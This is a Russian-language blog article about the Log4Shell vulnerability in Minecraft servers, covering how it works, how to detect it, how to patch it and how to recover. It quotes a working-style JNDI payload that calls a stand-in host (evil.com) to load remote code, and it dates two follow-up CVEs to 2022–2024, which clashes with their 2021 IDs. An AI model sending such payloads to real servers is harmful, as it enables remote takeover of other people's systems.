Добро пожаловать на Craft‑Bukkit

Всё о Minecraft серверах: гайды, команды, скачивание сборок и полезные советы для администраторов и игроков.

Уязвимость Log4Shell (Log4j) в Minecraft: как она работает и защита сервера

wergio 24.07.2026 12:11 6
Log4Shell в Minecraft: как работала самая опасная уязвимость и как защитить сервер сейчас.

Введение: крупнейшая уязвимость в истории Minecraft

В декабре 2021 года была обнаружена уязвимость CVE-2021-44228, известная как Log4Shell, в библиотеке логирования Log4j, которую используют практически все серверы Minecraft (ванильный, Forge, Fabric, Paper, BungeeCord). Уязвимость позволяла удалённо выполнить произвольный код на сервере, просто отправив специальное сообщение в чат. Mojang оценила серьёзность как 10/10 — максимальный уровень опасности. Хотя уязвимость была исправлена, многие серверы до сих пор используют уязвимые версии. В этой статье — технический разбор Log4Shell и как убедиться, что ваш сервер защищён.

Как работает Log4Shell

Log4j имеет функцию «lookups» — подстановки значений в строку логирования. Например, ${java:version} вставляет версию Java. Одна из подстановок — JNDI (Java Naming and Directory Interface) — позволяет загружать объекты из удалённых источников.

Атакующий отправляет в чат сообщение: ${jndi:ldap://evil.com/a}. Log4j логирует это сообщение, видит подстановку JNDI, подключается к серверу evil.com по протоколу LDAP, загружает вредоносный Java-класс и выполняет его. Результат — полный контроль над сервером.

Схема атаки:

  1. Хакер отправляет в чат (или любое другое логируемое поле — название предмета, никнейм, текст таблички) сообщение с JNDI-подстановкой.
  2. Log4j обрабатывает сообщение и выполняет LDAP-запрос к серверу хакера.
  3. Сервер хакера возвращает вредоносный Java-класс.
  4. Сервер Minecraft загружает и выполняет этот класс.
  5. Вредоносный код может: выдать хакеру права оператора, украсть файлы сервера, установить бэкдор, запустить майнер криптовалюты.

Как проверить, уязвим ли ваш сервер

  1. Проверьте версию Log4j. Откройте папку сервера, найдите файл log4j-core-*.jar в папке libraries. Уязвимые версии: 2.0 — 2.14.1. Безопасные: 2.15.0 (частично), 2.16.0 (полностью), 2.17.0+ (рекомендовано).
  2. Запустите проверку: в чате напишите ${date:YYYY-MM-DD}. Если в логах сервера отобразилась дата вместо строки — Log4j обрабатывает lookups, и сервер потенциально уязвим.
  3. Используйте сканер уязвимостей: плагин Log4jDetector просканирует все JAR-файлы на сервере.

Как защитить сервер

Метод 1: Обновление Log4j (самый надёжный)

  1. Скачайте последнюю версию Minecraft-сервера (ванильный, Paper, Forge) — они содержат исправленную Log4j.
  2. Если сервер кастомный — замените файлы Log4j в папке libraries вручную на версию 2.17.0+.

Метод 2: Отключение JNDI lookups (для старых версий)

Добавьте флаг JVM при запуске сервера:

-Dlog4j2.formatMsgNoLookups=true

Или установите переменную окружения: LOG4J_FORMAT_MSG_NO_LOOKUPS=true.

Метод 3: Удаление JndiLookup класса

В архиве log4j-core найдите и удалите класс JndiLookup.class:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Что делать, если сервер был взломан через Log4Shell

  1. Немедленно остановите сервер.
  2. Сделайте копию всех файлов для расследования.
  3. Проверьте список операторов (ops.json) на наличие неизвестных ников.
  4. Проверьте папку плагинов на наличие новых/изменённых файлов.
  5. Проверьте системные процессы на наличие майнеров и бэкдоров.
  6. Восстановите мир из бэкапа, сделанного ДО атаки.
  7. Обновите Log4j и все плагины перед повторным запуском.

💡 Совет профи

Log4Shell — не единственная уязвимость в Log4j. В 2022-2024 годах было обнаружено ещё несколько CVE (CVE-2021-45046, CVE-2021-45105). Все они исправлены в Log4j 2.17.0+. Но многие хостеры и сборки серверов до сих пор используют старые версии. Проверяйте ВСЕ JAR-файлы в папке libraries — не только серверные, но и библиотеки плагинов. Плагин может тащить свою копию уязвимой Log4j.
← К списку статей

💬 Комментарии (0)

⏳ Все комментарии проходят модерацию

🔒 Войдите, чтобы оставить комментарий

😊 Пока нет комментариев. Будьте первым!